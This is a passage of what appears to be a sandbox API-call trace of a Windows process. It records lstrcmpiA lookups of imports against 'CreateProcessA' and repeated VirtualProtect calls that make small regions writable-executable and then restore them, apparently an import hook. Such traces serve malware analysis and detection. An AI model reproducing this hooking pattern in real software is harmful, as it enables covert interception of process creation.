(lpString1="RevertToSelf", lpString2="CreateProcessA") returned 1 [0073.378] lstrcmpiA (lpString1="GetLengthSid", lpString2="CreateProcessA") returned 1 [0073.378] lstrcmpiA (lpString1="SetKernelObjectSecurity", lpString2="CreateProcessA") returned 1 [0073.378] lstrcmpiA (lpString1="ConvertStringSecurityDescriptorToSecurityDescriptorW", lpString2="CreateProcessA") returned -1 [0073.378] lstrcmpiA (lpString1="GetKernelObjectSecurity", lpString2="CreateProcessA") returned 1 [0073.378] lstrcmpiA (lpString1="SetSecurityInfo", lpString2="CreateProcessA") returned 1 [0073.378] lstrcmpiA (lpString1="ConvertStringSidToSidW", lpString2="CreateProcessA") returned -1 [0073.378] lstrcmpiA (lpString1="SetTokenInformation", lpString2="CreateProcessA") returned 1 [0073.378] lstrcmpiA (lpString1="GetAce", lpString2="CreateProcessA") returned 1 [0073.378] lstrcmpiA (lpString1="GetSecurityDescriptorSacl", lpString2="CreateProcessA") returned 1 [0073.378] lstrcmpiA (lpString1="ConvertSidToStringSidW", lpString2="CreateProcessA") returned -1 [0073.378] lstrcmpiA (lpString1="CreateProcessAsUserW", lpString2="CreateProcessA") returned 1 [0073.378] lstrcmpiA (lpString1="SetThreadToken", lpString2="CreateProcessA") returned 1 [0073.378] lstrcmpiA (lpString1="DuplicateTokenEx", lpString2="CreateProcessA") returned 1 [0073.378] lstrcmpiA (lpString1="DuplicateToken", lpString2="CreateProcessA") returned 1 [0073.378] lstrcmpiA (lpString1="CreateRestrictedToken", lpString2="CreateProcessA") returned 1 [0073.378] lstrcmpiA (lpString1="EqualSid", lpString2="CreateProcessA") returned 1 [0073.378] lstrcmpiA (lpString1="LookupPrivilegeValueW", lpString2="CreateProcessA") returned 1 [0073.378] lstrcmpiA (lpString1="CopySid", lpString2="CreateProcessA") returned -1 [0073.378] lstrcmpiA (lpString1="GetThreadLocale", lpString2="CreateProcessA") returned 1 [0073.378] lstrcmpiA (lpString1="GetSystemDefaultLCID", lpString2="CreateProcessA") returned 1 [0073.378] lstrcmpiA (lpString1="GetModuleFileNameW", lpString2="CreateProcessA") returned 1 [0073.378] lstrcmpiA (lpString1="GetModuleHandleA", lpString2="CreateProcessA") returned 1 [0073.378] lstrcmpiA (lpString1="GetProcAddress", lpString2="CreateProcessA") returned 1 [0073.378] lstrcmpiA (lpString1="SetLastError", lpString2="CreateProcessA") returned 1 [0073.378] lstrcmpiA (lpString1="GetCurrentThreadId", lpString2="CreateProcessA") returned 1 [0073.378] lstrcmpiA (lpString1="CreateEventW", lpString2="CreateProcessA") returned -1 [0073.378] lstrcmpiA (lpString1="GetLastError", lpString2="CreateProcessA") returned 1 [0073.378] lstrcmpiA (lpString1="GetCurrentProcess", lpString2="CreateProcessA") returned 1 [0073.378] lstrcmpiA (lpString1="GetProcessId", lpString2="CreateProcessA") returned 1 [0073.378] lstrcmpiA (lpString1="WaitForSingleObject", lpString2="CreateProcessA") returned 1 [0073.378] lstrcmpiA (lpString1="DuplicateHandle", lpString2="CreateProcessA") returned 1 [0073.378] lstrcmpiA (lpString1="SetProcessShutdownParameters", lpString2="CreateProcessA") returned 1 [0073.378] lstrcmpiA (lpString1="SetCurrentDirectoryW", lpString2="CreateProcessA") returned 1 [0073.379] lstrcmpiA (lpString1="LoadLibraryExW", lpString2="CreateProcessA") returned 1 [0073.379] lstrcmpiA (lpString1="VirtualFree", lpString2="CreateProcessA") returned 1 [0073.379] lstrcmpiA (lpString1="VirtualAlloc", lpString2="CreateProcessA") returned 1 [0073.379] lstrcmpiA (lpString1="MultiByteToWideChar", lpString2="CreateProcessA") returned 1 [0073.379] lstrcmpiA (lpString1="WideCharToMultiByte", lpString2="CreateProcessA") returned 1 [0073.379] lstrcmpiA (lpString1="GetModuleHandleW", lpString2="CreateProcessA") returned 1 [0073.379] lstrcmpiA (lpString1="GetVersionExW", lpString2="CreateProcessA") returned 1 [0073.379] lstrcmpiA (lpString1="GetNativeSystemInfo", lpString2="CreateProcessA") returned 1 [0073.379] lstrcmpiA (lpString1="ExpandEnvironmentStringsW", lpString2="CreateProcessA") returned 1 [0073.379] lstrcmpiA (lpString1="GetCommandLineW", lpString2="CreateProcessA") returned 1 [0073.379] lstrcmpiA (lpString1="LocalFree", lpString2="CreateProcessA") returned 1 [0073.379] lstrcmpiA (lpString1="Sleep", lpString2="CreateProcessA") returned 1 [0073.379] lstrcmpiA (lpString1="FileTimeToSystemTime", lpString2="CreateProcessA") returned 1 [0073.379] lstrcmpiA (lpString1="GetCurrentThread", lpString2="CreateProcessA") returned 1 [0073.379] lstrcmpiA (lpString1="QueryPerformanceFrequency", lpString2="CreateProcessA") returned 1 [0073.379] lstrcmpiA (lpString1="SystemTimeToTzSpecificLocalTime", lpString2="CreateProcessA") returned 1 [0073.379] lstrcmpiA (lpString1="GetSystemTimeAsFileTime", lpString2="CreateProcessA") returned 1 [0073.379] lstrcmpiA (lpString1="QueryPerformanceCounter", lpString2="CreateProcessA") returned 1 [0073.379] lstrcmpiA (lpString1="HeapCreate", lpString2="CreateProcessA") returned 1 [0073.379] lstrcmpiA (lpString1="HeapDestroy", lpString2="CreateProcessA") returned 1 [0073.379] lstrcmpiA (lpString1="WriteFile", lpString2="CreateProcessA") returned 1 [0073.379] lstrcmpiA (lpString1="CreateFileW", lpString2="CreateProcessA") returned -1 [0073.379] lstrcmpiA (lpString1="DeleteFileW", lpString2="CreateProcessA") returned 1 [0073.379] lstrcmpiA (lpString1="CloseHandle", lpString2="CreateProcessA") returned -1 [0073.379] lstrcmpiA (lpString1="GetLocalTime", lpString2="CreateProcessA") returned 1 [0073.379] lstrcmpiA (lpString1="GetCurrentDirectoryW", lpString2="CreateProcessA") returned 1 [0073.379] lstrcmpiA (lpString1="GetCurrentProcessId", lpString2="CreateProcessA") returned 1 [0073.379] lstrcmpiA (lpString1="FormatMessageA", lpString2="CreateProcessA") returned 1 [0073.379] lstrcmpiA (lpString1="GetTickCount", lpString2="CreateProcessA") returned 1 [0073.379] lstrcmpiA (lpString1="TerminateProcess", lpString2="CreateProcessA") returned 1 [0073.379] lstrcmpiA (lpString1="OpenProcess", lpString2="CreateProcessA") returned 1 [0073.379] lstrcmpiA (lpString1="GetExitCodeProcess", lpString2="CreateProcessA") returned 1 [0073.379] lstrcmpiA (lpString1="ReadFile", lpString2="CreateProcessA") returned 1 [0073.379] lstrcmpiA (lpString1="GetFileSizeEx", lpString2="CreateProcessA") returned 1 [0073.379] lstrcmpiA (lpString1="SetEndOfFile", lpString2="CreateProcessA") returned 1 [0073.379] lstrcmpiA (lpString1="GetFileInformationByHandle", lpString2="CreateProcessA") returned 1 [0073.379] lstrcmpiA (lpString1="SetFilePointerEx", lpString2="CreateProcessA") returned 1 [0073.379] lstrcmpiA (lpString1="FlushFileBuffers", lpString2="CreateProcessA") returned 1 [0073.379] lstrcmpiA (lpString1="ReleaseSRWLockExclusive", lpString2="CreateProcessA") returned 1 [0073.379] lstrcmpiA (lpString1="AcquireSRWLockExclusive", lpString2="CreateProcessA") returned -1 [0073.379] lstrcmpiA (lpString1="GetUserDefaultLangID", lpString2="CreateProcessA") returned 1 [0073.380] lstrcmpiA (lpString1="RegisterWaitForSingleObject", lpString2="CreateProcessA") returned 1 [0073.380] lstrcmpiA (lpString1="UnregisterWaitEx", lpString2="CreateProcessA") returned 1 [0073.380] lstrcmpiA (lpString1="CreateDirectoryW", lpString2="CreateProcessA") returned -1 [0073.380] lstrcmpiA (lpString1="QueryDosDeviceW", lpString2="CreateProcessA") returned 1 [0073.380] lstrcmpiA (lpString1="GetLongPathNameW", lpString2="CreateProcessA") returned 1 [0073.380] lstrcmpiA (lpString1="RemoveDirectoryW", lpString2="CreateProcessA") returned 1 [0073.380] lstrcmpiA (lpString1="GetTempPathW", lpString2="CreateProcessA") returned 1 [0073.380] lstrcmpiA (lpString1="GetFileAttributesW", lpString2="CreateProcessA") returned 1 [0073.380] lstrcmpiA (lpString1="UnmapViewOfFile", lpString2="CreateProcessA") returned 1 [0073.380] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x242feb0 | out: hHeap=0x2030000) returned 1 [0073.380] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x242feb0 [0073.380] VirtualProtect (in: lpAddress=0x13f5d30c8, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x23ecc0 | out: lpflOldProtect=0x23ecc0*=0x2) returned 1 [0073.380] VirtualProtect (in: lpAddress=0x13f5d30c8, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x23ecc0 | out: lpflOldProtect=0x23ecc0*=0x40) returned 1 [0073.380] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x242ff20 [0073.381] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x242ff20 | out: hHeap=0x2030000) returned 1 [0073.381] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x77160000, lpBuffer=0x23ed80, dwLength=0x30 | out: lpBuffer=0x23ed80*(BaseAddress=0x77160000, AllocationBase=0x77160000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0073.381] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x23ecc0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x23ecc0, ReturnLength=0x0) returned 0x0 [0073.381] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x77040000, lpBuffer=0x23ed80, dwLength=0x30 | out: lpBuffer=0x23ed80*(BaseAddress=0x77040000, AllocationBase=0x77040000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0073.381] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x23ecc0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x23ecc0, ReturnLength=0x0) returned 0x0 [0073.381] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefd330000, lpBuffer=0x23ed80, dwLength=0x30 | out: lpBuffer=0x23ed80*(BaseAddress=0x7fefd330000, AllocationBase=0x7fefd330000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0073.381] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x23ecc0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x23ecc0, ReturnLength=0x0) returned 0x0 [0073.381] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef4ab0000, lpBuffer=0x23ed80, dwLength=0x30 | out: lpBuffer=0x23ed80*(BaseAddress=0x7fef4ab0000, AllocationBase=0x7fef4ab0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0073.381] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x23ecc0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x23ecc0, ReturnLength=0x0) returned 0x0 [0073.381] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x242ff20 [0073.381] VirtualProtect (in: lpAddress=0x7fef4b0e278, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x23ecc0 | out: lpflOldProtect=0x23ecc0*=0x2) returned 1 [0073.381] VirtualProtect (in: lpAddress=0x7fef4b0e278, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x23ecc0 | out: lpflOldProtect=0x23ecc0*=0x40) returned 1 [0073.381] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x232da90 [0073.381] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x232da90 | out: hHeap=0x2030000) returned 1 [0073.468] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x212fa90 [0073.468] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x212fa90 | out: hHeap=0x2030000) returned 1 [0073.470] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030a90 [0073.470] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030a90 | out: hHeap=0x2030000) returned 1 [0073.470] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefc270000, lpBuffer=0x23ed80, dwLength=0x30 | out: lpBuffer=0x23ed80*(BaseAddress=0x7fefc270000, AllocationBase=0x7fefc270000, AllocationProtect=0x80, __alignment1=0xfffffa80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0073.470] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x23ecc0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x23ecc0, ReturnLength=0x0) returned 0x0 [0073.470] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030a90 [0073.471] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030a90 | out: hHeap=0x2030000) returned 1 [0073.471] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030a90 [0073.471] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030a90 | out: hHeap=0x2030000) returned 1 [0073.471] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030a90 [0073.471] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030a90 | out: hHeap=0x2030000) returned 1 [0073.471] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030a90 [0073.471] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030a90 | out: hHeap=0x2030000) returned 1 [0073.471] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefd670000, lpBuffer=0x23ed80, dwLength=0x30 | out: lpBuffer=0x23ed80*(BaseAddress=0x7fefd670000, AllocationBase=0x7fefd670000, AllocationProtect=0x80, __alignment1=0xfffffa80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0073.471] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x23ecc0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x23ecc0, ReturnLength=0x0) returned 0x0 [0073.471] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030a90 [0073.471] VirtualProtect (in: lpAddress=0x7fefd6ea498, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x23ecc0 | out: lpflOldProtect=0x23ecc0*=0x2) returned 1 [0073.471] VirtualProtect (in: lpAddress=0x7fefd6ea498, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x23ecc0 | out: lpflOldProtect=0x23ecc0*=0x40) returned 1 [0073.471] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030b00 [0073.471] VirtualProtect (in: lpAddress=0x7fefd6ea490, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x23ecc0 | out: lpflOldProtect=0x23ecc0*=0x2) returned 1 [0073.472] VirtualProtect (in: lpAddress=0x7fefd6ea490, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x23ecc0 | out: lpflOldProtect=0x23ecc0*=0x40) returned 1 [0073.472] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030b70 [0073.472] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030b70 | out: hHeap=0x2030000) returned 1 [0073.472] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030b70 [0073.472] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030b70 | out: hHeap=0x2030000) returned 1 [0073.472] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7feff190000, lpBuffer=0x23ed80, dwLength=0x30 | out: lpBuffer=0x23ed80*(BaseAddress=0x7feff190000, AllocationBase=0x7feff190000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0073.472] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x23ecc0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x23ecc0, ReturnLength=0x0) returned 0x0 [0073.472] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030b70 [0073.472] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030b70 | out: hHeap=0x2030000) returned 1 [0073.472] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030b70 [0073.472] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030b70 | out: hHeap=0x2030000) returned 1 [0073.472] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030b70 [0073.472] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030b70 | out: hHeap=0x2030000) returned 1 [0073.472] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030b70 [0073.472] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030b70 | out: hHeap=0x2030000) returned 1 [0073.473] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefe900000, lpBuffer=0x23ed80, dwLength=0x30 | out: lpBuffer=0x23ed80*(BaseAddress=0x7fefe900000, AllocationBase=0x7fefe900000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0073.473] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x23ecc0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x23ecc0, ReturnLength=0x0) returned 0x0 [0073.473] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030b70 [0073.473] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030b70 | out: hHeap=0x2030000) returned 1 [0073.473] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030b70 [0073.473] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030b70 | out: hHeap=0x2030000) returned 1 [0073.473] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030b70 [0073.473] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030b70 | out: hHeap=0x2030000) returned 1 [0073.473] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030b70 [0073.473] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030b70 | out: hHeap=0x2030000) returned 1 [0073.473] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x77320000, lpBuffer=0x23ed80, dwLength=0x30 | out: lpBuffer=0x23ed80*(BaseAddress=0x77320000, AllocationBase=0x77320000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0073.473] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x23ecc0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x23ecc0, ReturnLength=0x0) returned 0x0 [0073.473] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030b70 [0073.473] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030b70 | out: hHeap=0x2030000) returned 1 [0073.473] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030b70 [0073.473] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030b70 | out: hHeap=0x2030000) returned 1 [0073.473] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030b70 [0073.473] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030b70 | out: hHeap=0x2030000) returned 1 [0073.473] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030b70 [0073.473] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030b70 | out: hHeap=0x2030000) returned 1 [0073.473] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefdb70000, lpBuffer=0x23ed80, dwLength=0x30 | out: lpBuffer=0x23ed80*(BaseAddress=0x7fefdb70000, AllocationBase=0x7fefdb70000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0073.473] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x23ecc0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x23ecc0, ReturnLength=0x0) returned 0x0 [0073.474] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030b70 [0073.474] VirtualProtect (in: lpAddress=0x7fefdf9e700, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x23ecc0 | out: lpflOldProtect=0x23ecc0*=0x2) returned 1 [0073.474] VirtualProtect (in: lpAddress=0x7fefdf9e700, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x23ecc0 | out: lpflOldProtect=0x23ecc0*=0x40) returned 1 [0073.474] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030be0 [0073.475] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030be0 | out: hHeap=0x2030000) returned 1 [0073.475] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030be0 [0073.507] VirtualProtect (in: lpAddress=0x7fefdf9e760, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x23ecc0 | out: lpflOldProtect=0x23ecc0*=0x2) returned 1 [0073.507] VirtualProtect (in: lpAddress=0x7fefdf9e760, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x23ecc0 | out: lpflOldProtect=0x23ecc0*=0x40) returned 1 [0073.507] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030c50 [0073.508] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030c50 | out: hHeap=0x2030000) returned 1 [0073.508] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefd5c0000, lpBuffer=0x23ed80, dwLength=0x30 | out: lpBuffer=0x23ed80*(BaseAddress=0x7fefd5c0000, AllocationBase=0x7fefd5c0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0073.508] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x23ecc0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x23ecc0, ReturnLength=0x0) returned 0x0 [0073.508] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030c50 [0073.508] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030c50 | out: hHeap=0x2030000) returned 1 [0073.508] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030c50 [0073.508] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030c50 | out: hHeap=0x2030000) returned 1 [0073.508] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030c50 [0073.508] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030c50 | out: hHeap=0x2030000) returned 1 [0073.508] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030c50 [0073.508] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030c50 | out: hHeap=0x2030000) returned 1 [0073.508] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefee30000, lpBuffer=0x23ed80, dwLength=0x30 | out: lpBuffer=0x23ed80*(BaseAddress=0x7fefee30000, AllocationBase=0x7fefee30000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0073.508] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x23ecc0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x23ecc0, ReturnLength=0x0) returned 0x0 [0073.509] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030c50 [0073.509] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030c50 | out: hHeap=0x2030000) returned 1 [0073.509] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030c50 [0073.509] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030c50 | out: hHeap=0x2030000) returned 1 [0073.509] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030c50 [0073.509] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030c50 | out: hHeap=0x2030000) returned 1 [0073.509] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030c50 [0073.509] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030c50 | out: hHeap=0x2030000) returned 1 [0073.509] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x76f40000, lpBuffer=0x23ed80, dwLength=0x30 | out: lpBuffer=0x23ed80*(BaseAddress=0x76f40000, AllocationBase=0x76f40000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0073.509] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x23ecc0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x23ecc0, ReturnLength=0x0) returned 0x0 [0073.509] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030c50 [0073.509] VirtualProtect (in: lpAddress=0x76fc27d8, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x23ecc0 | out: lpflOldProtect=0x23ecc0*=0x2) returned 1 [0073.509] VirtualProtect (in: lpAddress=0x76fc27d8, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x23ecc0 | out: lpflOldProtect=0x23ecc0*=0x40) returned 1 [0073.510] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030cc0 [0073.510] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030cc0 | out: hHeap=0x2030000) returned 1 [0073.510] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030cc0 [0073.510] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030cc0 | out: hHeap=0x2030000) returned 1 [0073.510] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030cc0 [0073.510] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030cc0 | out: hHeap=0x2030000) returned 1 [0073.510] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7feff1b0000, lpBuffer=0x23ed80, dwLength=0x30 | out: lpBuffer=0x23ed80*(BaseAddress=0x7feff1b0000, AllocationBase=0x7feff1b0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0073.510] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x23ecc0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x23ecc0, ReturnLength=0x0) returned 0x0 [0073.510] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030cc0 [0073.510] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030cc0 | out: hHeap=0x2030000) returned 1 [0073.510] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2030cc0 [0073.510] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030cc0 | out: hHeap=0x2030000) returned 1 [0073.510] RtlAllocateHeap 